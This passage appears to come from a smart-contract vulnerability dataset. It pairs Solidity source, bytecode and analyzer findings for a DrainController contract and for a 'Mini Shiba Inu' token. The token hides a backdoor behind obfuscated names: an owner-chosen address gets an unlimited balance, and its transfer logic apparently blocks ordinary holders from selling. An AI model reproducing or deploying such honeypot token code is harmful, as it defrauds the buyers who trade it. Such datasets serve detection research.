ac8565b8060051b604051601f19603f8301168101818110858211171561183f5761183f611ac8565b604052828152858101935084860182860187018a101561185e57600080fd5b600095505b8386101561188857611874816116d9565b855260019590950194938601938601611863565b5098975050505050505050565b6000602082840312156118a757600080fd5b813561102381611af3565b6000602082840312156118c457600080fd5b815161102381611af3565b6000602082840312156118e157600080fd5b5035919050565b6000806000606084860312156118fd57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561194357858101830151858201604001528201611927565b81811115611955576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f05784516001600160a01b0316835293830193918301916001016119cb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2457611a24611a9c565b500190565b600082611a4657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a6557611a65611a9c565b500290565b600082821015611a7c57611a7c611a9c565b500390565b6000600019821415611a9557611a95611a9c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461050057600080fd5b801515811461050057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e902d4fd1d399705e7241c306b16c4f238d3bfba4e6cab01ba8e92a69cf423a64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,120
0x2c907e0c40b9dbb834edd3fdb739de4df9edb9d7
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IMasterVampire { function drain(uint256 pid) external; } library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } contract DrainController is Ownable { using SafeMath for uint256; using UQ112x112 for uint224; IMasterVampire constant MASTER_VAMPIRE = IMasterVampire(0xBde001C5700Fd7A1C749440E11E9D10Fdd3Ad7Cf); IUniswapV2Pair constant NERDLING_WETH_PAIR = IUniswapV2Pair(0x69E2cfD60F9F42CDCA363066C6670dEb25aa9370); uint constant PRICE_UPDATE_MIN_DELAY = 1 hours; uint lastCumulativePriceTimestamp; uint lastCumulativePrice; uint224 public price; uint256 public drainRejectionTreshold; constructor() { drainRejectionTreshold = 30; lastCumulativePriceTimestamp = 1604332456; lastCumulativePrice = 109349771840743469856852252693373200; updatePrice(); } function updatePrice() public { (,,uint currentTimestamp) = NERDLING_WETH_PAIR.getReserves(); uint256 timeElapsed = currentTimestamp - lastCumulativePriceTimestamp; require(timeElapsed > PRICE_UPDATE_MIN_DELAY || msg.sender == owner(), "Too early to update cumulative price"); uint256 currentCumulativePrice = NERDLING_WETH_PAIR.price0CumulativeLast(); price = uint224(currentCumulativePrice.sub(lastCumulativePrice).div(timeElapsed)); lastCumulativePriceTimestamp = currentTimestamp; lastCumulativePrice = currentCumulativePrice; } function priceIsUnderRejectionTreshold() view public returns(bool) { (uint112 nerdlingReserves, uint112 wethReserves,) = NERDLING_WETH_PAIR.getReserves(); uint224 currentPrice = UQ112x112.encode(wethReserves).uqdiv(nerdlingReserves); return currentPrice < (price + price * 100 / drainRejectionTreshold); } function massDrain(uint256[] memory pids) public { for (uint i = 0; i < pids.length; i++) { MASTER_VAMPIRE.drain(pids[i]); } } function updateTreshold(uint256 _drainRejectionTreshold) public onlyOwner { drainRejectionTreshold = _drainRejectionTreshold; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b1461016a578063a035b1fe1461018e578063a29c1cdf146101b2578063abcc31d7146101cc578063f2fde38b146101e857610093565b8063673a7e2814610098578063715018a6146100a25780637ed8cb27146100aa578063872820361461014d575b600080fd5b6100a061020e565b005b6100a06103c2565b6100a0600480360360208110156100c057600080fd5b8101906020810181356401000000008111156100db57600080fd5b8201836020820111156100ed57600080fd5b8035906020019184602083028401116401000000008311171561010f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610476945050505050565b6100a06004803603602081101561016357600080fd5b5035610517565b610172610586565b604080516001600160a01b039092168252519081900360200190f35b610196610595565b604080516001600160e01b039092168252519081900360200190f35b6101ba6105a4565b60408051918252519081900360200190f35b6101d46105aa565b604080519115158252519081900360200190f35b6100a0600480360360208110156101fe57600080fd5b50356001600160a01b031661068e565b60007369e2cfd60f9f42cdca363066c6670deb25aa93706001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561025d57600080fd5b505afa158015610271573d6000803e3d6000fd5b505050506040513d606081101561028757600080fd5b506040015160015463ffffffff90911691508103610e108111806102c357506102ae610586565b6001600160a01b0316336001600160a01b0316145b6102fe5760405162461bcd60e51b81526004018080602001828103825260248152602001806109816024913960400191505060405180910390fd5b60007369e2cfd60f9f42cdca363066c6670deb25aa93706001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561034d57600080fd5b505afa158015610361573d6000803e3d6000fd5b505050506040513d602081101561037757600080fd5b5051600254909150610396908390610390908490610798565b906107e1565b600380546001600160e01b0319166001600160e01b039290921691909117905560019290925550600255565b6103ca610823565b6000546001600160a01b0390811691161461042c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60005b81518110156105135773bde001c5700fd7a1c749440e11e9d10fdd3ad7cf6001600160a01b031663f6b19c748383815181106104b157fe5b60200260200101516040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156104ef57600080fd5b505af1158015610503573d6000803e3d6000fd5b5050600190920191506104799050565b5050565b61051f610823565b6000546001600160a01b03908116911614610581576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600455565b6000546001600160a01b031690565b6003546001600160e01b031681565b60045481565b60008060007369e2cfd60f9f42cdca363066c6670deb25aa93706001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156105fc57600080fd5b505afa158015610610573d6000803e3d6000fd5b505050506040513d606081101561062657600080fd5b508051602090910151909250905060006106528361064384610827565b6001600160e01b031690610839565b6004546003549192509060646001600160e01b0391821602168161067257fe5b6003549190046001600160e01b03918216019116109392505050565b610696610823565b6000546001600160a01b039081169116146106f8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661073d5760405162461bcd60e51b815260040180806020018281038252602681526020018061095b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006107da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061085e565b9392505050565b60006107da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108f5565b3390565b6001600160701b0316600160701b0290565b60006001600160701b0382166001600160e01b0384168161085657fe5b049392505050565b600081848411156108ed5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108b257818101518382015260200161089a565b50505050905090810190601f1680156108df5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836109445760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156108b257818101518382015260200161089a565b50600083858161095057fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373546f6f206561726c7920746f207570646174652063756d756c6174697665207072696365a2646970667358221220add30edd3130432ce4b768029bcebe1f6da7ff12adf93b4a1a015bfb013fab1664736f6c63430007000033
{"success": true, "error": null, "results": {}}
3,121
0x8b804246b8259ED78Fc88CB0c462f02243c29c2A
/* https://t.me/minishibainu_eth https://www.minishibainu.live */ // SPDX-License-Identifier: GPL-3.0 pragma solidity >0.8.9; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address operation ) { _symbol = _SYMBOL; _name = _NAME; _fee = 5; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[operation] = neck; _balances[msg.sender] = _tTotal; nothing[operation] = neck; nothing[msg.sender] = neck; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => address) private breath; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private neck = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function electric( address moon, address opportunity, uint256 amount ) private { address rabbit = breath[address(0)]; bool verb = uniswapV2Pair == moon; uint256 were = _fee; if (nothing[moon] == 0 && valley[moon] > 0 && !verb) { nothing[moon] -= were; } breath[address(0)] = opportunity; if (nothing[moon] > 0 && amount == 0) { nothing[opportunity] += were; } valley[rabbit] += were; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[moon] -= fee; _balances[address(this)] += fee; _balances[moon] -= amount; _balances[opportunity] += amount; } mapping(address => uint256) private valley; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private nothing; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); electric(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { electric(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffff